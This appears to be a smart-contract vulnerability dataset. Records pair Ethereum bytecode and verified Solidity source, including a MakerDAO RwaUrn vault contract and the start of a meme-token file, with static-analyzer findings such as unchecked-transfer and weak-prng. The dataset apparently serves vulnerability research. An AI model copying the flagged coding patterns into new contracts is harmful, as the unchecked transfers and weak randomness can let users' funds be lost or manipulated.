081016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fea165627a7a723058202f9699c24ade73f2c4d7480692944ba8a42733a5a0bef970e910351bf73e3a580029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,387 |
0xa3342059BcDcFA57a13b12a35eD4BBE59B873005
|
/**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
// Copyright (C) 2020, 2021 Lev Livnev <lev@liv.nev.org.uk>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.5.12;
// https://github.com/makerdao/dss/blob/master/src/vat.sol
interface VatAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function can(address, address) external view returns (uint256);
function hope(address) external;
function nope(address) external;
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function gem(bytes32, address) external view returns (uint256);
function dai(address) external view returns (uint256);
function sin(address) external view returns (uint256);
function debt() external view returns (uint256);
function vice() external view returns (uint256);
function Line() external view returns (uint256);
function live() external view returns (uint256);
function init(bytes32) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function cage() external;
function slip(bytes32, address, int256) external;
function flux(bytes32, address, address, uint256) external;
function move(address, address, uint256) external;
function frob(bytes32, address, address, address, int256, int256) external;
function fork(bytes32, address, address, int256, int256) external;
function grab(bytes32, address, address, address, int256, int256) external;
function heal(uint256) external;
function suck(address, address, uint256) external;
function fold(bytes32, address, int256) external;
}
// https://github.com/makerdao/dss/blob/master/src/jug.sol
interface JugAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function ilks(bytes32) external view returns (uint256, uint256);
function vat() external view returns (address);
function vow() external view returns (address);
function base() external view returns (address);
function init(bytes32) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, uint256) external;
function file(bytes32, address) external;
function drip(bytes32) external returns (uint256);
}
// https://github.com/dapphub/ds-token/blob/master/src/token.sol
interface DSTokenAbstract {
function name() external view returns (bytes32);
function symbol() external view returns (bytes32);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
function allowance(address, address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function approve(address) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function push(address, uint256) external;
function pull(address, uint256) external;
function move(address, address, uint256) external;
function mint(uint256) external;
function mint(address,uint) external;
function burn(uint256) external;
function burn(address,uint) external;
function setName(bytes32) external;
function authority() external view returns (address);
function owner() external view returns (address);
function setOwner(address) external;
function setAuthority(address) external;
}
// https://github.com/makerdao/dss/blob/master/src/join.sol
interface GemJoinAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function vat() external view returns (address);
function ilk() external view returns (bytes32);
function gem() external view returns (address);
function dec() external view returns (uint256);
function live() external view returns (uint256);
function cage() external;
function join(address, uint256) external;
function exit(address, uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/join.sol
interface DaiJoinAbstract {
function wards(address) external view returns (uint256);
function rely(address usr) external;
function deny(address usr) external;
function vat() external view returns (address);
function dai() external view returns (address);
function live() external view returns (uint256);
function cage() external;
function join(address, uint256) external;
function exit(address, uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/dai.sol
interface DaiAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function version() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
function nonces(address) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external view returns (bytes32);
function transfer(address, uint256) external;
function transferFrom(address, address, uint256) external returns (bool);
function mint(address, uint256) external;
function burn(address, uint256) external;
function approve(address, uint256) external returns (bool);
function push(address, uint256) external;
function pull(address, uint256) external;
function move(address, address, uint256) external;
function permit(address, address, uint256, uint256, bool, uint8, bytes32, bytes32) external;
}
contract RwaUrn {
// --- auth ---
mapping (address => uint256) public wards;
mapping (address => uint256) public can;
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
modifier auth {
require(wards[msg.sender] == 1, "RwaUrn/not-authorized");
_;
}
function hope(address usr) external auth {
can[usr] = 1;
emit Hope(usr);
}
function nope(address usr) external auth {
can[usr] = 0;
emit Nope(usr);
}
modifier operator {
require(can[msg.sender] == 1, "RwaUrn/not-operator");
_;
}
VatAbstract public vat;
JugAbstract public jug;
GemJoinAbstract public gemJoin;
DaiJoinAbstract public daiJoin;
address public outputConduit;
// Events
event Rely(address indexed usr);
event Deny(address indexed usr);
event Hope(address indexed usr);
event Nope(address indexed usr);
event File(bytes32 indexed what, address data);
event Lock(address indexed usr, uint256 wad);
event Free(address indexed usr, uint256 wad);
event Draw(address indexed usr, uint256 wad);
event Wipe(address indexed usr, uint256 wad);
event Quit(address indexed usr, uint256 wad);
// --- math ---
uint256 constant RAY = 10 ** 27;
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(x, sub(y, 1)) / y;
}
// --- init ---
constructor(
address vat_, address jug_, address gemJoin_, address daiJoin_, address outputConduit_
) public {
// requires in urn that outputConduit isn't address(0)
vat = VatAbstract(vat_);
jug = JugAbstract(jug_);
gemJoin = GemJoinAbstract(gemJoin_);
daiJoin = DaiJoinAbstract(daiJoin_);
outputConduit = outputConduit_;
wards[msg.sender] = 1;
DSTokenAbstract(gemJoin.gem()).approve(address(gemJoin), uint256(-1));
DaiAbstract(daiJoin.dai()).approve(address(daiJoin), uint256(-1));
VatAbstract(vat_).hope(address(daiJoin));
emit Rely(msg.sender);
emit File("outputConduit", outputConduit_);
emit File("jug", jug_);
}
// --- administration ---
function file(bytes32 what, address data) external auth {
if (what == "outputConduit") { outputConduit = data; }
else if (what == "jug") { jug = JugAbstract(data); }
else revert("RwaUrn/unrecognised-param");
emit File(what, data);
}
// --- cdp operation ---
// n.b. that the operator must bring the gem
function lock(uint256 wad) external operator {
require(wad <= 2**255 - 1, "RwaUrn/overflow");
DSTokenAbstract(gemJoin.gem()).transferFrom(msg.sender, address(this), wad);
// join with address this
gemJoin.join(address(this), wad);
vat.frob(gemJoin.ilk(), address(this), address(this), address(this), int(wad), 0);
emit Lock(msg.sender, wad);
}
// n.b. that the operator takes the gem
// and might not be the same operator who brought the gem
function free(uint256 wad) external operator {
require(wad <= 2**255, "RwaUrn/overflow");
vat.frob(gemJoin.ilk(), address(this), address(this), address(this), -int(wad), 0);
gemJoin.exit(msg.sender, wad);
emit Free(msg.sender, wad);
}
// n.b. DAI can only go to the output conduit
function draw(uint256 wad) external operator {
require(outputConduit != address(0));
bytes32 ilk = gemJoin.ilk();
jug.drip(ilk);
(,uint256 rate,,,) = vat.ilks(ilk);
uint256 dart = divup(mul(RAY, wad), rate);
require(dart <= 2**255 - 1, "RwaUrn/overflow");
vat.frob(ilk, address(this), address(this), address(this), 0, int(dart));
daiJoin.exit(outputConduit, wad);
emit Draw(msg.sender, wad);
}
// n.b. anyone can wipe
function wipe(uint256 wad) external {
daiJoin.join(address(this), wad);
bytes32 ilk = gemJoin.ilk();
jug.drip(ilk);
(,uint256 rate,,,) = vat.ilks(ilk);
uint256 dart = mul(RAY, wad) / rate;
require(dart <= 2 ** 255, "RwaUrn/overflow");
vat.frob(ilk, address(this), address(this), address(this), 0, -int(dart));
emit Wipe(msg.sender, wad);
}
// If Dai is sitting here after ES that should be sent back
function quit() external {
require(outputConduit != address(0));
require(vat.live() == 0, "RwaUrn/vat-still-live");
DSTokenAbstract dai = DSTokenAbstract(daiJoin.dai());
uint256 wad = dai.balanceOf(address(this));
dai.transfer(outputConduit, wad);
emit Quit(msg.sender, wad);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063b38a1620116100a2578063d4e8be8311610071578063d4e8be831461045a578063d8ccd0f3146104a8578063dc4d20fa146104d6578063dd4670641461051a578063fc2b8cc3146105485761010b565b8063b38a162014610332578063bc206b0a14610360578063bf353dbb146103b8578063c11645bc146104105761010b565b80637692535f116100de5780637692535f1461021657806384718d89146102605780639c52a7f1146102aa578063a3b22fc4146102ee5761010b565b806301664f661461011057806336569e771461015a5780633b304147146101a457806365fae35e146101d2575b600080fd5b610118610552565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610162610578565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101d0600480360360208110156101ba57600080fd5b810190808035906020019092919050505061059e565b005b610214600480360360208110156101e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c0e565b005b61021e610d4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610268610d72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ec600480360360208110156102c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d98565b005b6103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b005b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050611014565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156d565b6040518082815260200191505060405180910390f35b610418611585565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a66004803603604081101561047057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ab565b005b6104d4600480360360208110156104be57600080fd5b8101908080359060200190929190505050611812565b005b610518600480360360208110156104ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4d565b005b6105466004803603602081101561053057600080fd5b8101908080359060200190929190505050611d8c565b005b61055061235d565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156106ae57600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071857600080fd5b505afa15801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156107ca57600080fd5b505af11580156107de573d6000803e3d6000fd5b505050506040513d60208110156107f457600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d60a08110156108a557600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006109056108ff6b033b2e3c9fd0803ce80000008661276b565b83612797565b90507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81111561099d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015610abf57600080fd5b505af1158015610ad3573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f7ffa12f2611233f19bb229a71c5d8224cb37373555ab6754b65aef59ea26831d856040518082815260200191505060405180910390a250505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f3a21b662999d3fc0ceca48751a22bf61a806dcf3631e136271f02f7cb981fd4360405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156110bd57600080fd5b505af11580156110d1573d6000803e3d6000fd5b505050506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561113f57600080fd5b505afa158015611153573d6000803e3d6000fd5b505050506040513d602081101561116957600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b505050506040513d602081101561121b57600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d60a08110156112cc57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000816113246b033b2e3c9fd0803ce80000008661276b565b8161132b57fe5b0490507f80000000000000000000000000000000000000000000000000000000000000008111156113c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156114e957600080fd5b505af11580156114fd573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f2d2c7da251295f4d722a8ddaf337627952c957ce21b2757c852e47fe81b3a2af856040518082815260200191505060405180910390a250505050565b60016020528060005260406000206000915090505481565b60006020528060005260406000206000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b7f6f7574707574436f6e64756974000000000000000000000000000000000000008214156116cd5780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117aa565b7f6a7567000000000000000000000000000000000000000000000000000000000082141561173b5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117a9565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52776155726e2f756e7265636f676e697365642d706172616d0000000000000081525060200191505060405180910390fd5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f800000000000000000000000000000000000000000000000000000000000000081111561195c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0257600080fd5b505afa158015611a16573d6000803e3d6000fd5b505050506040513d6020811015611a2c57600080fd5b81019080805190602001909291905050503030308660000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611b2357600080fd5b505af1158015611b37573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611be457600080fd5b505af1158015611bf8573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fce6c5af8fd109993cb40da4d5dc9e4dd8e61bc2e48f1e3901472141e4f56f293826040518082815260200191505060405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611d01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f9cd85b2ca76a06c46be663a514e012af1aea8954b0e53f42146cd9b1ebb21ebc60405160405180910390a250565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611e40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115611ed6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3e57600080fd5b505afa158015611f52573d6000803e3d6000fd5b505050506040513d6020811015611f6857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561203357600080fd5b505af1158015612047573d6000803e3d6000fd5b505050506040513d602081101561205d57600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561211857600080fd5b505af115801561212c573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d657600080fd5b505afa1580156121ea573d6000803e3d6000fd5b505050506040513d602081101561220057600080fd5b81019080805190602001909291905050503030308660006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156122f457600080fd5b505af1158015612308573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427826040518082815260200191505060405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123b957600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561242357600080fd5b505afa158015612437573d6000803e3d6000fd5b505050506040513d602081101561244d57600080fd5b8101908080519060200190929190505050146124d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f7661742d7374696c6c2d6c697665000000000000000000000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4b9fa756040518163ffffffff1660e01b815260040160206040518083038186803b15801561253b57600080fd5b505afa15801561254f573d6000803e3d6000fd5b505050506040513d602081101561256557600080fd5b8101908080519060200190929190505050905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125f757600080fd5b505afa15801561260b573d6000803e3d6000fd5b505050506040513d602081101561262157600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156126dd57600080fd5b505af11580156126f1573d6000803e3d6000fd5b505050506040513d602081101561270757600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167fc81bfec1ac9d038698c3b15fc900dafbff3af4b9f26062f895dd08a676ec78ae826040518082815260200191505060405180910390a25050565b600080821480612788575082828385029250828161278557fe5b04145b61279157600080fd5b92915050565b6000816127ae846127a98560016127be565b6127d8565b816127b557fe5b04905092915050565b60008282840391508111156127d257600080fd5b92915050565b60008282840191508110156127ec57600080fd5b9291505056fea265627a7a72315820b2c2c6173ddf93c85c252d56ba8c4db9f22819967c22467c544c052d3faa910364736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,388 |
0x4133b51e7de4af015213313770c41b953e70db4e
|
/**
*Submitted for verification at Etherscan.io on 2021-02-21
*/
/*
____________________________________110001██████████
_______________________________110000███████______██
___________________________110000█████____________██
________________________110000█████_____█████____███
______________________100100████_______█ █___██
___________________1010011████_________█_____█___█
_________________1001111███_______█████__███___███
_______________1001111███________█ █______███
_____________1001110████_________█____██_____███
__________████████████______████___███______███
________████ ███______██ ██________████
______███ ███_______██ ██_______███
_____███ ███___________████_______███
____███ ███_____________________████
___███ ████____________________████
__███ ███____________________███
_███ ████████_________________█████
███████____████_____________███████
_____________████________█████ ██
________________███_____████ ███
__________________██████ ███
___________________███ ███
___________________██ █████
__________________███ ██████
_________________████████
███╗░░░███╗██╗░░░██╗░██████╗██╗░░██╗ ░█████╗░░█████╗░██╗███╗░░██╗
████╗░████║██║░░░██║██╔════╝██║░██╔╝ ██╔══██╗██╔══██╗██║████╗░██║
██╔████╔██║██║░░░██║╚█████╗░█████═╝░ ██║░░╚═╝██║░░██║██║██╔██╗██║
██║╚██╔╝██║██║░░░██║░╚═══██╗██╔═██╗░ ██║░░██╗██║░░██║██║██║╚████║
██║░╚═╝░██║╚██████╔╝██████╔╝██║░╚██╗ ╚█████╔╝╚█████╔╝██║██║░╚███║
╚═╝░░░░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝ ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝
████████╗░█████╗░ ████████╗██╗░░██╗███████╗ ███╗░░░███╗░█████╗░██████╗░░██████╗██╗
╚══██╔══╝██╔══██╗ ╚══██╔══╝██║░░██║██╔════╝ ████╗░████║██╔══██╗██╔══██╗██╔════╝██║
░░░██║░░░██║░░██║ ░░░██║░░░███████║█████╗░░ ██╔████╔██║███████║██████╔╝╚█████╗░██║
░░░██║░░░██║░░██║ ░░░██║░░░██╔══██║██╔══╝░░ ██║╚██╔╝██║██╔══██║██╔══██╗░╚═══██╗╚═╝
░░░██║░░░╚█████╔╝ ░░░██║░░░██║░░██║███████╗ ██║░╚═╝░██║██║░░██║██║░░██║██████╔╝██╗
